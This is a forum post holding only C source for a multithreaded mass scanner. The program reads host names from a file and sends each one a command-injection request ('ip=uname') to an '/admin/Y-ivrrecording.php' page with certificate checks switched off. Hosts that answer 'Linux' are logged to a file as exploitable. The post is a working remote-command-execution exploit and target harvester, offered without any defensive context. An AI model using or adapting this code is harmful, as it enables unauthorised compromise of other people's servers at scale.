- 論壇徽章:
- 0
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <curl/curl.h>
#include <curl/types.h>
#include <curl/easy.h>
#include <sys/types.h>
#include <stdlib.h>
#include <memory.h>
#include <assert.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BOLDYELLOW "\033[1m\033[33m"
#define RESET "\033[0m"
int threads,opterr,c = 0;
char *filename;
char url[256];
void dolog(char *string, char *outfile)
{
FILE *output;
output = fopen(outfile, "aw+");
fprintf(output,"%s\n",string);
fclose(output);
}
size_t write_data(void *ptr, size_t size, size_t nmemb, FILE *stream)
{
char buf[size*nmemb+1];
char * pbuf=&buf[0];
memset(buf,'\0',size*nmemb+1);
size_t i = 0;
for(;i<nmemb;i++)
{
strncpy(pbuf,ptr,size);
pbuf += size;
ptr += size;
}
//printf("%s",buf);
//printf("%d\n",strcmp("Linux",buf));
if(!strcmp("Linux\n",buf))
{
printf(BOLDYELLOW);
printf("%s\n",url);
printf(RESET);
dolog(url,"wn.log");
}
else
printf("%s\n",url);
exit(0);
return size*nmemb;
}
void wazzzup(char *line)
{
sprintf(url,"https://%s/admin/Y-ivrrecording.php?php=info&ip=uname",line);
CURL *curl;
CURLcode res;
curl = curl_easy_init();
if(curl)
{
curl_easy_setopt(curl,CURLOPT_URL,url);
curl_easy_setopt(curl,CURLOPT_SSL_VERIFYHOST,0L);
curl_easy_setopt(curl,CURLOPT_SSL_VERIFYPEER,0L);
curl_easy_setopt(curl,CURLOPT_WRITEFUNCTION,&write_data);
res = curl_easy_perform(curl);
curl_easy_cleanup(curl);
}
exit(0);
}
int main (int argc, char **argv)
{
int childs = 0;
while ((c = getopt (argc, argv, "f:t:")) != -1)
switch (c)
{
case 't':
threads = atoi(optarg);
break;
case 'f':
filename = optarg;
break;
case '?':
if(optopt == 't')
fprintf (stderr, "Option -%c requires an argument.\n", optopt);
else if (isprint (optopt))
fprintf (stderr, "Unknown option `-%c'.\n", optopt);
else
fprintf (stderr,
"Unknown option character `\\x%x'.\n",
optopt);
if(optopt == 'f')
fprintf (stderr, "Option -%c requires an argument.\n", optopt);
else if (isprint (optopt))
fprintf (stderr, "Unknown option `-%c'.\n", optopt);
else
fprintf (stderr,
"Unknown option character `\\x%x'.\n",
optopt);
return 1;
default:
abort();
}
if(threads == 0)
{
printf("wn:%s -t threads -f file\n",argv[0]);
exit(0);
}
if(filename == NULL)
{
printf("wn:%s -t threads -f file\n",argv[0]);
exit(0);
}
FILE *file = fopen(filename,"r");
if ( file != NULL )
{
char line [128];
while (fgets(line,sizeof line,file ) != NULL)
{
if(line[strlen(line)-1] == '\n')
line[strlen(line)-1] = 0;
if (childs >= threads)
wait(NULL);
switch(fork())
{
case 0:
wazzzup(line);
exit(0);
case -1:
perror("fork");
exit(-1);
default:
childs++;
break;
while (childs--)
wait(NULL);
}
}
fclose(file);
}
else
perror(filename);
return 0;
} |
|